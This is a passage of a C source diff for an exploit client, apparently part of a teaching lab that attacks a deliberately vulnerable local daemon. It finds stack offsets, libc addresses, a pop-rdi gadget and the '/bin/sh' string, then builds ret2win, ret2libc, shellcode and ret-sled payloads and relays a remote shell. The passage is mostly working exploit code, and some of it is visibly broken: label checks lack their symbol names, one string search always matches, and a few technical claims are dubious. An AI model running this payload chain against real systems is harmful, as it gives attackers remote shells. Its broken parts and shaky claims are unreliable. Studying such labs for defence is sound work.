$N,%rsp + * and the buffer is referenced as + * lea -OFF(%rbp), %reg <- passed to read() as its 2nd argument + * + * so the buffer sits OFF bytes below the saved frame pointer, and the saved + * return address is 8 bytes *above* it: + * + * rip_off = OFF + 8 + */ +static int analyse_binary(const char *path, struct bininfo *out) +{ + char cmd[512]; /* Shell command we are about to run. */ + char line[1024]; /* One line of objdump output at a time. */ + FILE *pp; /* Pipe to the objdump child process. */ + int in_vuln = 0; /* "Are we currently inside vulnerable_handler?" */ + int saw_read = 0; /* "Have we already seen the call to read()?" */ + int have_off = 0; /* "Have we found the buffer's lea yet?" */ + long best_off = 0; /* Best candidate buffer offset seen so far. */ + int status; /* Exit status of the popen()'ed process. */ + + memset(out, 0, sizeof(*out)); + + /* + * The path is embedded in a shell command string, so quote it. (In real + * code you would avoid popen() and posix_spawn() directly; here the goal + * is legibility.) objdump is present because we use it to *build* the lab. + */ + snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", + path); + + pp = popen(cmd, "r"); + if (pp == NULL) { + fprintf(stderr, "fooc: cannot run objdump: %s\n", strerror(errno)); + return -1; + } + + /* + * Walk the disassembly a line at a time. The stream is long (tens of + * thousands of lines) so we deliberately do NOT slurp it all into memory; + * reading a line at a time keeps fooc's own footprint tiny. + */ + while (fgets(line, sizeof(line), pp) != NULL) { + + /* --- Function boundaries: lines look like "0000000000401535 :" --- */ + if (strstr(line, ":") != NULL) { + in_vuln = 1; + sscanf(line, "%lx", &out->vuln_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + sscanf(line, "%lx", &out->win_addr); + continue; + } + + /* + * Any other ":" label ends the vulnerable function. Keeping + * this as "an unrecognised label" rather than "any label" is important, + * because objdump also prints jump targets as "# 402080 <...>" mid-line. + */ + if (in_vuln && strchr(line, '<') != NULL && strstr(line, ">:") != NULL) { + in_vuln = 0; + continue; + } + + /* + * Remember the first bare `ret` we see anywhere. It is used to build a + * "ret sled" for the brute-force demo mode. + * + * Parsing detail: with --no-show-raw-insn each line looks like + * " 40101a:\tret" + * i.e. address, a colon, whitespace, then the mnemonic. So we scan the + * hex address, hop to the colon, skip whitespace, and require "ret" + * to be a *whole* mnemonic -- otherwise "ret" would also match the + * prefix of "repz retq" and, worse, a symbol name in a comment. + */ + if (out->ret_gadget == 0) { + unsigned long a = 0; + const char *colon = strchr(line, ':'); + if (sscanf(line, "%lx", &a) == 1 && colon != NULL) { + const char *p = colon + 1; + while (*p == ' ' || *p == '\t') + p++; + if (strncmp(p, "ret", 3) == 0 && + (p[3] == '\0' || p[3] == '\n' || + p[3] == ' ' || p[3] == '\t')) + out->ret_gadget = a; + } + } + + if (!in_vuln) + continue; + + /* --- The vulnerable read() call: "call 401250 " --- */ + if (strstr(line, "") != NULL) { + saw_read = 1; + continue; + } + + /* + * The buffer reference: "lea -0x50(%rbp),%rcx". + * + * We only accept a lea that (a) occurs *before* the call to read() and + * (b) reaches deepest below rbp. Condition (a) is what disambiguates + * `buf` from the other local array (`line`, at rbp-0xd0) whose address + * is also computed with a lea later in the same function. + * + * sscanf on "%*[^0-9]" style masks keeps this readable; we just need + * the -0xNN that appears immediately after "%rbp". + */ + if (!saw_read && !have_off) { + const char *p = strstr(line, "%rbp)"); + if (p != NULL && strstr(line, "lea") != NULL) { + /* Back up over ",%rcx" etc. to find the '-0xNN' displacement. */ + const char *q = line; + char disp[32]; + int d = 0; + while (q < p && *q != '-') + q++; + if (q < p) { + const char *h = q; + while (h < p && d < (int)sizeof(disp) - 1) { + if (isxdigit((unsigned char)*h) || *h == '-' || *h == 'x' || + *h == '+') + disp[d++] = *h++; + else + break; + } + disp[d] = '\0'; + if (d > 0) { + /* + * The displacement in the disassembly is written + * "-0x50" to mean "50 bytes below rbp", but strtol + * faithfully returns -80. What we actually want is the + * *distance*, so take the absolute value here and + * document the sign at the point of use. + */ + best_off = labs(strtol(disp, NULL, 0)); + have_off = 1; /* First one wins: that's `buf`. */ + } + } + } + } + } + + status = pclose(pp); + (void)status; /* We validate by checking we actually found things. */ + + if (out->vuln_addr == 0 || out->win_addr == 0 || !have_off) { + fprintf(stderr, + "fooc: could not fully analyse '%s'.\n" + " vuln=0x%lx win=0x%lx buf_off=%ld\n" + " Is this really the food binary? Is objdump installed?\n", + path, out->vuln_addr, out->win_addr, best_off); + return -1; + } + + /* + * THE key computation. buf lives `best_off` bytes below the saved frame + * pointer; the saved return address is 8 bytes above that. So: + */ + out->frame_off = (unsigned long)best_off; + if (best_off < 0) { + fprintf(stderr, + "fooc: the buffer displacement parsed as %ld, which is not a\n" + " plausible distance below rbp. Refusing to guess.\n" + " (If food was rebuilt with a different optimiser, the\n" + " disassembly shape may have changed.)\n", best_off); + return -1; + } + out->rip_off = (unsigned long)best_off + 8UL; + + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 2: introspect our own libc to learn the offsets we will need */ +/* ------------------------------------------------------------------------- */ + +/* + * The problem: the target's libc is at some address chosen by ASLR, and we do + * not know it. But *our* libc is the very same file, mapped somewhere we can + * discover, and its internal layout is identical. + * + * So the trick is: measure the *offsets* here, and add them to the target's + * base. Concretely, if in our process `system` lives at + * + * &system - libc_base + * + * and food leaked us its `read`, and we also know `read`'s offset, then + * + * food_libc_base = food_read_addr - off_read + * food_system = food_libc_base + off_system + * + * This delta-arithmetic trick is used by essentially every real-world + * exploit, because it survives libc being updated as long as the offsets we + * use are unchanged. It is also why "rebase the binaries" is a real and + * effective mitigation: it moves the target's base, which invalidates every + * offset the attacker measured. + */ +static int analyse_libc(struct libcinfo *out) +{ + FILE *f; /* /proc/self/maps. */ + char line[512]; /* One line of maps at a time. */ + unsigned long lo, hi; /* Address range of the current mapping. */ + unsigned long rx_lo = 0, rx_hi = 0; /* libc's executable range. */ + unsigned long ro_lo[32], ro_hi[32]; /* libc's read-only ranges. */ + int n_ro = 0; /* How many read-only ranges we collected. */ + int memfd; /* /proc/self/mem, for reading live memory. */ + void *p; /* A generic pointer, for dlsym results. */ + + memset(out, 0, sizeof(*out)); + + /* ---- 2a. Find libc's load address and its mapped ranges. ------------- */ + f = fopen("/proc/self/maps", "r"); + if (f == NULL) { + fprintf(stderr, "fooc: cannot open /proc/self/maps: %s\n", + strerror(errno)); + return -1; + } + + while (fgets(line, sizeof(line), f) != NULL) { + if (strstr(line, "libc.so.6") == NULL) + continue; + + if (sscanf(line, "%lx-%lx", &lo, &hi) != 2) + continue; + + /* + * The *lowest* libc mapping is the load base. The kernel maps a shared + * object with several separate segments (r--p, r-xp, r--p, rw-p), and + * the base is where the first one starts. + */ + if (out->base == 0 || lo < out->base) + out->base = lo; + + /* Executable text: where gadgets and real functions live. */ + if (strstr(line, "r-xp") != NULL) { + rx_lo = lo; + rx_hi = hi; + } + + /* Read-only data: where string constants like "/bin/sh" live. */ + if (strstr(line, "r--p") != NULL && n_ro < 32) { + ro_lo[n_ro] = lo; + ro_hi[n_ro] = hi; + n_ro++; + } + } + fclose(f); + + if (out->base == 0 || rx_hi == 0) { + fprintf(stderr, "fooc: could not locate libc in /proc/self/maps\n"); + return -1; + } + + /* ---- 2b. Ask the dynamic linker for two function offsets. ----------- */ + /* + * dlsym(RTLD_DEFAULT, ...) searches the global symbol scope and returns an + * absolute runtime address. Subtracting the base yields the portable + * offset. (We deliberately do NOT hardcode 0x54530 for system(): that + * number is specific to glibc 2.44 and would break on any other build.) + */ + p = dlsym(RTLD_DEFAULT, "system"); + if (p == NULL) { fprintf(stderr, "fooc: no system()\n"); return -1; } + out->off_system = (unsigned long)p - out->base; + + p = dlsym(RTLD_DEFAULT, "read"); + if (p == NULL) { fprintf(stderr, "fooc: no read()\n"); return -1; } + out->off_read = (unsigned long)p - out->base; + + /* ---- 2c. Read our own libc text out of memory and hunt for gadgets. -- */ + memfd = open("/proc/self/mem", O_RDONLY); + if (memfd < 0) { + fprintf(stderr, "fooc: cannot open /proc/self/mem: %s\n", + strerror(errno)); + return -1; + } + + /* + * `pop rdi ; ret` is the two-byte sequence 5f c3. It is the gadget that + * makes ret2libc work: it lets us "pass" the first function argument. + * There is no equivalent in `food` itself at -O0, which is why we borrow + * one from libc. + * + * Note we search the *mapped memory*, not the file on disk. A file offset + * and a virtual address are not interchangeable -- shared objects are + * mapped at a page-aligned base and the first executable segment is + * typically a whole page (4 KiB) further on than its file offset suggests. + */ + { + size_t sz = (size_t)(rx_hi - rx_lo); + unsigned char *text = malloc(sz); + if (text == NULL) { close(memfd); return -1; } + + if (pread(memfd, text, sz, (off_t)rx_lo) == (ssize_t)sz) { + unsigned char *hit = memmem(text, sz, "\x5f\xc3", 2); + if (hit != NULL) { + /* Convert "offset within this segment" to "offset from base". */ + out->off_poprdi = (unsigned long)(hit - text) + + (rx_lo - out->base); + } + } + free(text); + } + + /* ---- 2d. Hunt for the "/bin/sh" string constant. ------------------- */ + /* + * Rather than hardcode its offset (it moves between glibc versions), we + * scan the read-only segments for the literal bytes. The first match is + * the canonical one -- the very first "/bin/sh" in .rodata -- and it works + * because it is passed to execve/system as argv[0]. + */ + for (int i = 0; i < n_ro && out->off_binsh == 0; i++) { + size_t sz = (size_t)(ro_hi[i] - ro_lo[i]); + unsigned char *ro = malloc(sz); + if (ro == NULL) + break; + if (pread(memfd, ro, sz, (off_t)ro_lo[i]) == (ssize_t)sz) { + unsigned char *hit = memmem(ro, sz, "/bin/sh", 7); + if (hit != NULL) + out->off_binsh = (unsigned long)(hit - ro) + + (ro_lo[i] - out->base); + } + free(ro); + } + + close(memfd); + + if (out->off_poprdi == 0 || out->off_binsh == 0) { + fprintf(stderr, + "fooc: failed to locate gadgets/strings in libc " + "(pop-rdi-ret=0x%lx /bin/sh=0x%lx)\n", + out->off_poprdi, out->off_binsh); + return -1; + } + + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 3: networking */ +/* ------------------------------------------------------------------------- */ + +/* + * connect_to() -- open a TCP connection to host:port. Textbook, and correct. + * + * We connect to 127.0.0.1 by default, so this lab never leaves the machine + * unless you deliberately point -h somewhere else. + */ +static int connect_to(const char *host, int port) +{ + struct sockaddr_in sa; /* The address we will connect to. */ + int fd; /* The socket. */ + int one = 1; + + fd = socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) { + fprintf(stderr, "fooc: socket: %s\n", strerror(errno)); + return -1; + } + setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + memset(&sa, 0, sizeof(sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons((uint16_t)port); + if (inet_pton(AF_INET, host, &sa.sin_addr) != 1) { + fprintf(stderr, "fooc: bad address '%s'\n", host); + close(fd); + return -1; + } + + if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + fprintf(stderr, "fooc: connect %s:%d: %s\n", host, port, strerror(errno)); + close(fd); + return -1; + } + return fd; +} + +/* + * send_all() -- write the whole buffer, looping over short writes. + * A stream socket accepts a partial write at any time; assuming otherwise is a + * classic source of flaky exploits. + */ +static int send_all(int fd, const void *buf, size_t n) +{ + const unsigned char *p = buf; /* Walk the buffer as we send. */ + size_t sent = 0; /* Bytes handed to the kernel so far. */ + while (sent < n) { + ssize_t w = write(fd, p + sent, n - sent); + if (w < 0) { + if (errno == EINTR) + continue; /* Signal: retry the same bytes. */ + return -1; + } + sent += (size_t)w; + } + return 0; +} + +/* + * write_nb() -- write the whole buffer to a descriptor that may be + * non-blocking, retrying on EAGAIN. + * + * send_all() above assumes a blocking descriptor, which is true while we are + * blasting the payload. The relay loop cannot use it: it deliberately sets + * O_NONBLOCK so poll() stays responsive, and a non-blocking write() is allowed + * to accept only part of the buffer, or none of it, purely because the kernel's + * buffer is momentarily full. Retrying on EAGAIN is what makes a short write a + * non-event rather than a silent truncation of the user's keystrokes. + */ +static int write_nb(int fd, const void *buf, size_t n) +{ + const unsigned char *p = buf; + size_t sent = 0; + + while (sent < n) { + ssize_t w = write(fd, p + sent, n - sent); + if (w > 0) { + sent += (size_t)w; + continue; + } + if (w < 0 && (errno == EINTR)) + continue; /* Retry the same bytes. */ + if (w < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) { + /* Wait for the descriptor to drain, then try again. */ + struct pollfd p; + p.fd = fd; + p.events = POLLOUT; + p.revents = 0; + if (poll(&p, 1, 1000) <= 0 && errno != EINTR) + return -1; /* Timed out: treat as failure. */ + continue; + } + return -1; /* Real error. */ + } + return 0; +} + +/* + * read_until() -- read from the socket until we have seen every pattern in + * `pats`, or until RECV_MAX bytes / a timeout. + * + * Why not a simple line-based protocol? Because we do not fully control the + * daemon's output format, and a robust client should not assume it. This + * accumulates bytes and re-scans the whole buffer after each read, which is + * simple and immune to the banner being split across TCP segments -- a real + * and frequently-missed detail. + */ +static int read_until(int fd, const char *const *pats, int npats, char *out, + size_t outsz) +{ + size_t got = 0; /* Bytes collected so far. */ + int missing = npats; /* How many patterns we have not seen. */ + + while (missing > 0 && got + 1 < outsz && got < RECV_MAX) { + ssize_t r = read(fd, out + got, outsz - got - 1); + if (r <= 0) { + if (r < 0 && errno == EINTR) + continue; + break; /* EOF or error: stop, use what we got. */ + } + got += (size_t)r; + out[got] = '\0'; + + /* Re-count which patterns are present. */ + missing = 0; + for (int i = 0; i < npats; i++) + if (strstr(out, pats[i]) == NULL) + missing++; + } + + out[got < outsz ? got : outsz - 1] = '\0'; + return (missing == 0) ? 0 : -1; +} + +/* + * parse_leaks() -- pull the three hex addresses out of the daemon's banner. + * + * The daemon prints, in order: + * FOOD 1.0 leak stack=0x... libc=0x... + * BUF=0x... + * + * strstr finds each key, then strtoul with base 0 parses the "0x..." that + * follows. strtoul with base 0 auto-detects hex vs decimal vs octal, which + * is the right default when the input is untrusted. + */ +static int parse_leaks(const char *text, struct leaks *out) +{ + const char *p; + + memset(out, 0, sizeof(*out)); + + if ((p = strstr(text, "stack=")) != NULL) + out->stack = strtoul(p + 6, NULL, 0); + if ((p = strstr(text, "libc=")) != NULL) + out->libc_read = strtoul(p + 5, NULL, 0); + if ((p = strstr(text, "BUF=")) != NULL) + out->buf = strtoul(p + 4, NULL, 0); + + if (out->libc_read == 0 || out->buf == 0) { + fprintf(stderr, + "fooc: the daemon did not leak what we expected.\n" + " stack=0x%lx libc=0x%lx BUF=0x%lx\n" + " Did you run the current ./food? Is it v1.0?\n", + out->stack, out->libc_read, out->buf); + return -1; + } + return 0; +} + +/* ------------------------------------------------------------------------- */ +/* Step 4: payload construction */ +/* ------------------------------------------------------------------------- */ + +/* A growable byte buffer, so we can build a payload without a fixed cap. */ +struct pbuf { + unsigned char *data; + size_t len; + size_t cap; +}; + +static int pbuf_reserve(struct pbuf *p, size_t extra) +{ + if (p->len + extra <= p->cap) + return 0; /* Already have room. */ + size_t ncap = p->cap ? p->cap * 2 : 256; + while (ncap < p->len + extra) + ncap *= 2; + unsigned char *nd = realloc(p->data, ncap); + if (nd == NULL) + return -1; + p->data = nd; + p->cap = ncap; + return 0; +} + +/* Append a single byte. */ +static int pbuf_u8(struct pbuf *p, unsigned char b) +{ + if (pbuf_reserve(p, 1) < 0) + return -1; + p->data[p->len++] = b; + return 0; +} + +/* + * Append a 64-bit little-endian word. + * + * x86-64 is little-endian, so this is simply the 8 bytes of the value in + * memory order. Writing them by hand (rather than memcpy'ing a uint64_t) is + * deliberate: it makes the byte order explicit, and it is correct on any host + * you compile on -- so the exploit can be built on one machine and fired from + * another, which matters for a portable tool. + */ +static int pbuf_u64(struct pbuf *p, unsigned long v) +{ + for (int i = 0; i < 8; i++) + if (pbuf_u8(p, (unsigned char)((v >> (8 * i)) & 0xffUL)) < 0) + return -1; + return 0; +} + +/* Append N padding bytes. */ +static int pbuf_pad(struct pbuf *p, size_t n) +{ + if (pbuf_reserve(p, n) < 0) + return -1; + memset(p->data + p->len, PAD_BYTE, n); + p->len += n; + return 0; +} + + +/* ------------------------------------------------------------------------- */ +/* Step 5: the shell */ +/* ------------------------------------------------------------------------- */ + +/* + * drain_hint() -- non-blockingly print anything the daemon already said. + * + * A failed exploit produces a diagnostic ("no hijack") and a closed socket. + * We want to show that text *before* handing the terminal to /bin/sh, rather + * than letting it scroll away or be eaten as if it were shell output. + */ +static void drain_hint(int fd) +{ + char buf[1024]; + int flags = fcntl(fd, F_GETFL, 0); /* Remember blocking state. */ + ssize_t n; + + if (flags == -1) + return; + fcntl(fd, F_SETFL, flags | O_NONBLOCK); /* Switch to non-blocking. */ + + n = read(fd, buf, sizeof(buf) - 1); + if (n > 0) { + buf[n] = '\0'; + fputs(buf, stdout); /* Show the daemon's last word. */ + fflush(stdout); + } + + fcntl(fd, F_SETFL, flags); /* Restore blocking. */ +} + +/* + * relay_stdio() -- splice the real terminal and the network socket together. + * + * Runs in a forked child, and multiplexes both directions with poll(): + * + * terminal -> socket : the user's keystrokes + * socket -> terminal : the victim shell's output + * + * WHY ONE PROCESS AND NOT TWO + * --------------------------- + * The textbook version forks twice, giving each direction its own blocking + * copy loop. That works, and it was the first version of this code -- but two + * processes writing to the same terminal interleave their output at + * arbitrary boundaries, so a `4096`-byte write from one could land in the + * middle of a line from the other. In practice you get mangled output like + * + * 7-artix1-1 + * inux 7.2.7-artix1-1 + * + * where a single `uname` line has been cut in half and the pieces printed + * twice. A single poll() loop is strict alternation -- one descriptor is + * serviced to completion before the next is looked at -- so output stays in + * order and the interleaving bug cannot exist. + * + * The trade-off is that poll() on a *blocking* descriptor can still stall one + * direction behind the other, so both descriptors must be non-blocking; poll() + * then tells us which has data instead of us guessing. That is the standard + * multiplexing shape and it is correct here because we are not waiting for + * protocol semantics, just for bytes to move. + * + * SIGINT/SIGQUIT: the shell runs in the other process, so Ctrl-C typed at the + * terminal is forwarded as a *byte* (0x03) to the remote shell rather than + * being delivered to us as a signal. That is the correct behaviour -- the + * victim should be the one interrupted -- but it means this process has + * nothing to stop it, so the loop ends on EOF instead. + */ +static void relay_stdio(int sock) +{ + struct pollfd pfd[2]; + char buf[4096]; + int saved[2] = { -1, -1 }; /* Original blocking flags, to restore. */ + int saved_sock; /* Ditto for the socket. */ + + /* Both ends must be non-blocking, or poll() would block in the read() + * rather than returning control to us. save/restore keeps the socket's + * mode intact for the shell process, which still expects a normal socket. */ + for (int i = 0; i < 2; i++) { + saved[i] = fcntl(i, F_GETFL, 0); + if (saved[i] != -1) + fcntl(i, F_SETFL, saved[i] | O_NONBLOCK); + } + saved_sock = fcntl(sock, F_GETFL, 0); + if (saved_sock != -1) + fcntl(sock, F_SETFL, saved_sock | O_NONBLOCK); + + pfd[0].fd = STDIN_FILENO; /* our terminal */ + pfd[0].events = POLLIN; + pfd[1].fd = sock; /* the network */ + pfd[1].events = POLLIN; + + for (;;) { + int n = poll(pfd, 2, -1); /* -1: block until something moves. */ + ssize_t r; + + if (n < 0) { + if (errno == EINTR) + continue; /* a signal is not an error here. */ + break; + } + if (n == 0) + continue; + + if (pfd[0].revents & POLLIN) { + r = read(STDIN_FILENO, buf, sizeof(buf)); + if (r > 0) { + if (write_nb(sock, buf, (size_t)r) < 0) + break; + } else if (r == 0) { + /* + * Terminal EOF: the user pressed Ctrl-D, or the test harness + * closed the pty. Half-close the socket so the remote shell + * sees end-of-input and exits on its own terms rather than + * hanging until we are killed. A plain close() would not do: + * the socket is shared with the shell process, and closing it + * here would yank the terminal out from under it. + */ + shutdown(sock, SHUT_WR); + break; + } + } + + if (pfd[1].revents & (POLLIN | POLLHUP | POLLERR)) { + r = read(sock, buf, sizeof(buf)); + if (r > 0) { + if (write_nb(STDOUT_FILENO, buf, (size_t)r) < 0) + break; + } else { + break; /* EOF or error: session is over. */ + } + } + } + + /* Put the descriptors back the way we found them. This process is about + * to _exit(), so strictly it does not matter -- but the socket is shared + * with the shell in the parent, and leaving a surprise behind in shared + * state is exactly the habit that turns into a real bug in real code. */ + for (int i = 0; i < 2; i++) + if (saved[i] != -1) + fcntl(i, F_SETFL, saved[i]); + if (saved_sock != -1) + fcntl(sock, F_SETFL, saved_sock); +} + +/* + * become_shell() -- sit between the user's terminal and the victim shell. + * + * WHERE THE SHELL ACTUALLY IS + * --------------------------- + * The hard-won lesson of this function: there is NO shell on this side. There + * is exactly one shell in the whole picture, and it is running on the victim, + * inside `food`'s hijacked process, with the TCP connection as its stdin, + * stdout and stderr. We already have it. It is already interactive. The RCE is + * finished the moment its prompt appears. + * + * So all this side has to do is move bytes: + * + * terminal <------> TCP socket <------> victim's /bin/sh + * + * Anything more is a bug. Both earlier versions of this code were: + * + * VERSION 1: dup2 the socket onto our own 0/1/2, then execv a local sh. + * The terminal became unreachable -- you typed into a descriptor nobody + * was reading -- so the session was deaf and mute. A shell you cannot + * type at, connected to nothing. + * + * VERSION 2: the three dup2s, plus a forked child relaying the terminal. + * This one was subtler and far more convincing, because it mostly worked: + * you got a prompt, commands ran, output appeared. But the local shell and + * the relay child were BOTH reading from the same socket, and the kernel + * does not care that they are cooperating -- it just hands each arriving + * chunk to whichever reader's read() lands first. The local shell, being + * an interactive login shell, read exactly ONE byte and discarded it. + * Every single time. + * + * The symptom was pure sorcery: the victim's output arrived with its first + * character missing. "uid=1000(hanez)" printed as "id=1000(hanez)"; + * "PWNED-OK" printed as "WNED-OK"; "Linux 7.2.7" printed as "inux 7.2.7". + * The pty was not dropping bytes, the shell was not misbehaving, and the + * exploit was working perfectly -- one byte per chunk was being eaten by a + * process that had no business reading that descriptor. `strace -f` showed + * * it immediately: the shell's read(0, "u", 1) interleaved with the + * relay's read(sock, "id=1000...", 310). + * + * One lesson worth more than the exploit: on a stream socket, "two + * processes sharing a descriptor" means "bytes split unpredictably between + * them", not "one reads, one writes". A descriptor has exactly one read + * cursor, and every reader on it moves that cursor. If you need two + * consumers of a byte stream, that stream has to be demultiplexed by a + * single reader that then distributes the bytes deliberately. + */ +static void become_shell(int fd) +{ + pid_t relay; + + printf("fooc: the shell is on the victim; relaying this terminal to it\n"); + + /* + * Fork the relay. The child owns the byte-moving; this process just waits + * for it so we do not exit and orphan the session. Nothing here should + * touch `fd` -- a single reader of the socket is the entire point. + */ + relay = fork(); + if (relay < 0) { + fprintf(stderr, "\nfooc: fork() failed: %s\n", strerror(errno)); + fprintf(stderr, "fooc: cannot relay the session; the payload has\n" + " still landed, so the shell exists on the\n" + " victim -- this terminal just cannot reach it.\n"); + return; + } + + if (relay == 0) { + relay_stdio(fd); + _exit(0); + } + + /* + * Parent: wait for the session to end, then collect the child. Nothing + * reads the socket here, on purpose. If the user hits Ctrl-D, or types + * `exit`, the victim shell closes the connection, the relay's read() + * returns 0, the relay exits, and waitpid() reaps it. + * + * waitpid() is interrupted by signals (SIGCHLD from anything else, or a + * terminal-generated SIGWINCH as you resize the window), so the loop + * retries rather than returning early and orphaning the child. + */ + for (;;) { + int status; + pid_t r = waitpid(relay, &status, 0); + if (r == relay) + break; + if (r < 0 && errno == EINTR) + continue; + if (r < 0) { + fprintf(stderr, "\nfooc: waitpid: %s\n", strerror(errno)); + break; + } + } + + close(fd); + printf("\nfooc: session closed.\n"); +} + +/* ------------------------------------------------------------------------- */ +/* The techniques */ +/* ------------------------------------------------------------------------- */ + +/* + * TECHNIQUE 1 -- ret2win + * --------------------------------------------------------------------------- + * The simplest possible proof of arbitrary code execution. + * + * [ 88 bytes of junk ][ address of food's win() ] + * ^ saved rbp + * ^ becomes RIP + * + * win() exists in the target binary, so we do not need to know anything about + * ASLR -- only the binary's own link address, which is fixed because food is + * built -no-pie. This is the "control the instruction pointer" milestone. + * + * DEFENCE NOTE: in real software the equivalent mistake is shipping a + * "diagnostic" or "maintenance backdoor" entry point in a networked binary. + * If win() is in the binary, a buffer overflow will find it. (It is also why + * this technique is now much rarer: -fno-pie, or more often just an + * attacker-supplied `__libc_start_main` hook, is what modern attacks use.) + */ +static void build_ret2win(struct pbuf *p, const struct bininfo *bi) +{ + pbuf_pad(p, bi->rip_off); /* Fill buf + saved rbp. */ + pbuf_u64(p, bi->win_addr); /* Overwrite the return address. */ +} + +/* + * TECHNIQUE 2 -- ret2libc + * --------------------------------------------------------------------------- + * Suppose the binary contains nothing useful. No problem: libc is full of + * useful functions, and we can call any of them. + * + * [ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system ] + * ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + * sets rdi to the string we want the function to call + * point at passed as argv[0] + * + * Step by step, at execution time: + * 1. `ret` in food pops pop_rdi into RIP; RSP now points at the "/bin/sh" + * address. + * 2. `pop rdi` loads that address into RDI (the first argument register) + * and advances RSP to the system() address. + * 3. `ret` pops system() into RIP. RDI still holds the string. + * 4. system() executes "/bin/sh". Because food dup2'd the socket onto + * fds 0/1/2 earlier, the shell is interactive over the network. + * + * The important idea: we never needed to know the address of system() in + * advance. We used a *gadget already in libc* to construct a call we could + * not have written ourselves. + * + * DEFENCE NOTE: ret2libc is defeated by ASLR, because we would have to guess + * libc's base. Our leak is what defeats ASLR here. Modern Linux also enables + * CET (shadow stack) on supported CPUs, which keeps a hardware copy of the + * return address on a separate stack; a mismatched `ret` faults immediately. + */ +static void build_ret2libc(struct pbuf *p, const struct bininfo *bi, + const struct libcinfo *li, const struct leaks *lk) +{ + /* + * Derive the target's libc base from the leaked `read` pointer, then add + * our own measured offsets. All the arithmetic ASLR would otherwise + * randomise happens right here, on our side, where we have the leaks. + */ + unsigned long base = lk->libc_read - li->off_read; + unsigned long system = base + li->off_system; + unsigned long binsh = base + li->off_binsh; + unsigned long poprdi = base + li->off_poprdi; + + printf("fooc: libc base = %#lx (from leaked read %#lx - %#lx)\n", + base, lk->libc_read, li->off_read); + printf("fooc: system = %#lx\n", system); + printf("fooc: \"/bin/sh\" = %#lx\n", binsh); + printf("fooc: pop rdi;ret= %#lx\n", poprdi); + + pbuf_pad(p, bi->rip_off); + pbuf_u64(p, poprdi); /* Gadget: load the next 8 bytes into RDI. */ + pbuf_u64(p, binsh); /* Argument to system(). */ + pbuf_u64(p, system); /* The function itself. */ +} + +/* + * TECHNIQUE 3 -- shellcode (the one the brief asks for) + * --------------------------------------------------------------------------- + * Put machine code in the buffer and jump into it. + * + * [ 23-byte shellcode ][ padding ][ address of buf ] + * ^ executes here ^ fills ^ so RIP lands on our code + * the gap + * + * This is the purest form of the bug: the attacker supplies the instructions + * the CPU will execute, not just the address of instructions that already + * exist. No leaked function addresses are needed, so it works against a + * statically linked, fully randomised target. + * + * We need `address of buf`, which we get from the BUF= leak. Without a leak we + * would have to guess a randomised stack address -- see --sled below. + * + * DEFENCE NOTE -- and this is the big one: + * + * *** NX bit (a.k.a. W^X, "no execute") *** + * + * Marking the stack non-executable turns this payload into a crash: the + * hardware refuses to fetch instructions from pages flagged data-only, so + * the `ret` lands on a page that cannot be executed. It is a single CPU + * feature, costs essentially no performance, and on x86-64 it has been + * mandatory since every mainstream OS. It is enabled by default everywhere. + * + * So in practice: on a modern hardened system this exact payload fails, and + * an attacker must return to technique 1 or 2 (run existing code via ROP) + * because they may not introduce new code. That is the whole point of ROP: + * it is what attackers pivot to *because* NX works. + * + * Compile food without -z execstack to watch this fail. See README.md. + */ +static void build_shellcode(struct pbuf *p, const struct bininfo *bi, + const struct leaks *lk) +{ + printf("fooc: buf is at %#lx, placing %d bytes of shellcode there\n", + lk->buf, SHELLCODE_LEN); + + /* + * The shellcode goes at the very start of buf, so execution begins at its + * first byte. Note that the region must be executable -- true here only + * because we compiled the target without -z execstack. + */ + for (int i = 0; i < SHELLCODE_LEN; i++) + pbuf_u8(p, SHELLCODE[i]); + + /* Fill the rest of the run up to the saved return address. */ + size_t used = SHELLCODE_LEN; + if (bi->rip_off > used) + pbuf_pad(p, bi->rip_off - used); + + /* Point RIP at buf. This is the one value that must be exactly right. */ + pbuf_u64(p, lk->buf); +} + +/* + * THE RET SLED -- a deliberate dead end, kept for teaching. + * + * If you had no leak, you could fill the entire overwritable region with the + * address of a `ret` instruction. Wherever the saved return address happens to + * land, the CPU would then "slide" forward, executing `ret` after `ret`, until + * it walked off the end of the sled into your shellcode. It is a brute-force + * attack on ASLR: you send the payload repeatedly until the layout lines up. + * + * Why it does not work here, honestly: food only accepts 512 bytes, and after + * 88 bytes of buffer the sled is at most 424 bytes -- about 53 eight-byte + * slots. ASLR randomises the stack by far more than 2^6 possibilities, so the + * odds of a hit are effectively zero. This is the whole reason the leak in + * food exists, and the reason real-world exploits put so much work into ASLR + * bypasses: a leak turns an unworkable guessing game into arithmetic. + * + * The mode is implemented so you can see the failure, and so you can confirm + * the mechanism is genuinely "the CPU follows a chain of rets". + */ +static void build_sled(struct pbuf *p, const struct bininfo *bi, + const struct leaks *lk) +{ + if (bi->ret_gadget == 0) { + fprintf(stderr, "fooc: no `ret` gadget found in the target binary\n"); + return; + } + printf("fooc: building a %lu-byte ret sled from %#lx\n", + bi->rip_off, bi->ret_gadget); + + /* + * Layout: junk, then the sled, then the shellcode, then one final jump + * into the shellcode. The saved return address is one of the sled + * entries, wherever ASLR's `ret` happens to land. + */ + pbuf_pad(p, bi->rip_off); + for (int i = 0; i < 8; i++) + pbuf_u8(p, SHELLCODE[i]); /* Placeholder; rewritten below. */ + p->len = bi->rip_off; /* Rewind over the placeholder. */ + + /* + * Everything from the saved return address up to 8 bytes from the end is + * filled with the `ret` gadget. The last 8 bytes are the shellcode's + * address, so the final `ret` of the sled lands on the code. + */ + size_t sled_bytes = 384; /* How much sled we can afford. */ + if (sled_bytes < bi->rip_off + 16) + sled_bytes = bi->rip_off + 16; + pbuf_pad(p, sled_bytes); + for (int i = 0; i < SHELLCODE_LEN; i++) + pbuf_u8(p, SHELLCODE[i]); + pbuf_u64(p, lk->buf); /* Where the sled ends up. */ + pbuf_u64(p, bi->ret_gadget); /* One more hop, deterministically.*/ +} + +/* + * 